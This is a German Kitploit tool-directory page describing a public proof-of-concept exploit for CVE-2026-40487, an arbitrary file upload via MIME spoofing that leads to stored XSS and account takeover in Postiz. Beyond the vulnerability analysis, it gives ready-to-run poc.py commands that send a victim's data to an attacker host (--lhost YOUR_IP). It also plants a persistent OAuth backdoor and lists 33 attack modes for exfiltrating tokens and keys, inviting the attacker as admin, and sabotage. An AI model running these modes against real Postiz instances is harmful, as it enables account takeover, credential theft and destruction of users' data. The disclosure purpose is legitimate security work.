Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-40487 — Proof-of-Concept-Exploit für CVE-2026-40487, das einen beliebigen Datei-Upload per MIME-Spoofing demonstriert, der zu gespeichertem XSS und Account-Übernahme in Postiz führt. Enthält mehrere Angriffsmodi für Datenextraktion, Privilegieneskalation und Persistenz. | Kitploit
Tools/GitHubGitHub/astaruf/cve-2026-40487
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsPayload-Entwicklung
GitHubastaruf/cve-2026-40487

CVE-2026-40487

Proof-of-Concept-Exploit für CVE-2026-40487, das einen beliebigen Datei-Upload per MIME-Spoofing demonstriert, der zu gespeichertem XSS und Account-Übernahme in Postiz führt. Enthält mehrere Angriffsmodi für Datenextraktion, Privilegieneskalation und Persistenz.

Repository anzeigen
37vor 5 MonatenNoch nicht geprüft
Webseite

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-40487 - Postiz <= 2.21.5 - Beliebiger Datei-Upload durch MIME-Type-Spoofing zu gespeichertem XSS bis hin zur Account-Übernahme

Entdeckt und gemeldet von: Astaruf

Vollständiger Bericht: https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/

NVD-Eintrag: https://nvd.nist.gov/vuln/detail/CVE-2026-40487

GHSA-Eintrag: https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx

CVE-Datensatz: https://www.cve.org/CVERecord?id=CVE-2026-40487


Zusammenfassung

Postiz ist ein Open-Source-Tool für Social-Media-Management mit 28+ Plattform-Integrationen (Instagram, X, LinkedIn, Facebook, TikTok, etc.), das von 600+ im Internet exponierten Instanzen genutzt wird.

Ein Angreifer mit niedrigen Privilegien kann eine bösartige SVG- (oder HTML-) Datei mit einem gespooften Content-Type: image/png-Header hochladen. Der Server akzeptiert die Datei, ohne deren tatsächlichen Inhalt zu prüfen, behält die ursprüngliche Dateiendung bei, und nginx liefert sie mit dem aus dieser Endung abgeleiteten Content-Type aus (image/svg+xml). Wenn ein Opfer die URL öffnet, wird das eingebettete JavaScript im Ursprung der Anwendung ausgeführt, was dem Angreifer vollständige Session-Riding-Fähigkeiten verleiht, die einer Account-Übernahme gleichkommen.

Die Angriffskette:

Angreifer lädt .svg mit Content-Type: image/png hoch
  -> Server validiert nur den Content-Type-Header (CWE-345)
    -> Datei wird mit ursprünglicher .svg-Endung auf der Festplatte gespeichert (CWE-434)
      -> nginx liefert sie als image/svg+xml aus
        -> Browser führt eingebettetes JavaScript aus (CWE-79)
          -> Gleicher Ursprung: vollständiger Zugriff auf die Sitzung des Opfers

Auswirkungen

Das XSS-Payload wird gleichursprünglich (same-origin) mit der Anwendung ausgeführt. Obwohl das Auth-Cookie HttpOnly ist, hängt fetch() mit credentials: "include" es automatisch an. Der Angreifer kann:

  • Das Profil des Opfers, API-Schlüssel und OAuth-Tokens für alle verbundenen Social-Media-Konten exfiltrieren
  • Geplante Beiträge auf allen Plattformen lesen, erstellen, ändern und löschen
  • Den Angreifer als Admin in der Organisation des Opfers einladen
  • Eine persistente OAuth-Hintertür erstellen (pos_*-Token, das nie abläuft und Passwortänderungen übersteht)
  • Benachrichtigungen deaktivieren, Konfigurationen löschen, Logout erzwingen
  • Beliebige authentifizierte API-Aufrufe als das Opfer ausführen

Schwachstellendetails

Drei Komponenten versagen unabhängig voneinander und erzeugen so die Exploit-Kette:

1. MIME-Type-Validierung vertraut Client-Eingaben (CWE-345)

libraries/nestjs-libraries/src/upload/custom.upload.validation.ts:

const validation =
  (value.mimetype.startsWith('image/') ||
    value.mimetype.startsWith('video/mp4')) &&
  value.size <= maxSize;

value.mimetype stammt aus dem Content-Type-Header der Multipart-Anfrage, den der Angreifer kontrolliert. Keine Magic-Byte-Prüfung, keine Verwendung von Bibliotheken wie file-type.

2. Ursprüngliche Endung wird auf der Festplatte beibehalten (CWE-434)

libraries/nestjs-libraries/src/upload/local.storage.ts:

const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);

extname(file.originalname) extrahiert die Endung aus dem vom Client gelieferten Dateinamen. Keine Prüfung auf Konsistenz zwischen deklariertem MIME-Typ und Endung. Der Server gibt außerdem die vollständige öffentliche URL in der Antwort zurück, sodass der Angreifer den Link erhält, den er an das Opfer senden kann.

3. nginx liefert mit aus der Endung abgeleitetem Content-Type aus

http {
    include       /etc/nginx/mime.types;
    location /uploads/ {
        alias /uploads/;
    }
}

nginx mappt .svg auf image/svg+xml, .html auf text/html. Kein Content-Security-Policy, kein X-Content-Type-Options: nosniff, kein Content-Disposition: attachment.

Proof of Concept

Voraussetzungen

Python 3.8+
pip install requests

Schnellstart

# 1. Prüfen, ob das Ziel verwundbar ist
python3 poc.py http://target:5000 -e [email protected] -p password --check

# 2. Alles vom Opfer exfiltrieren
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a full-dump

# 3. Eine persistente Hintertür erstellen
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a create-oauth-app

# 4. Das Token ohne Anmeldedaten wiederverwenden
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
    --lhost YOUR_IP -a full-dump

Angriffsablauf

Angreifer                    Server Postiz              Opfer
    |                              |                        |
    |-- 1. Login/Registrierung --->|                        |
    |-- 2. Bösartiges SVG hochladen ->|                        |
    |<---- URL der Datei -----------|                        |
    |-- 3. URL an Opfer senden --------------------------->  |
    |                              |<--- 4. Öffnet URL ----- |
    |                              |--- SVG + JS ---------> |
    |<-------------- 5. JS wird ausgeführt, exfiltriert Daten -----------|

Alle Angriffsmodi (33)

Exfiltration (19 Modi) - Daten des Opfers stehlen
ModusBeschreibung
dump-selfProfil des Opfers, Organisationsinfo, Tarif, API-Schlüssel
dump-personalAnzeigename, Bio, Profilbild
dump-integrationsVerbundene Social-Media-Integrationen und Tokens
dump-postsGeplante und Entwurfsbeiträge (letzte 365 Tage)
dump-teamTeammitglieder, Rollen und E-Mail-Adressen
dump-mediaAuflistung der Medienbibliothek
dump-notificationsBenachrichtigungsverlauf
dump-signaturesBeitragssignaturen
dump-webhooksKonfigurierte Webhooks und deren URLs
dump-oauth-appOAuth-App-Anmeldedaten (clientId, secret)
dump-copilotKI-Copilot-Konversationsverläufe
dump-billingAbrechnungs- und Abonnementinformationen
dump-settingsShortlink- und Benachrichtigungseinstellungen
dump-third-partyKonfigurationen von Drittanbieter-Integrationen
dump-autopostAutopost-Regeln
dump-setsInhaltssets
dump-tagsBeitrags-Tags
dump-customersKundenliste
full-dumpAlles oben Genannte in einem einzigen Payload
Privilegienerweiterung (3 Modi)
ModusBeschreibung
add-adminAngreifer als ADMIN in die Organisation des Opfers einladen (--attacker-email)
rotate-keyOrganisations-API-Schlüssel rotieren und exfiltrieren
rotate-oauthOAuth-App-Secret rotieren und exfiltrieren
Sabotage (9 Modi) - destruktive Aktionen
Tool herunterladen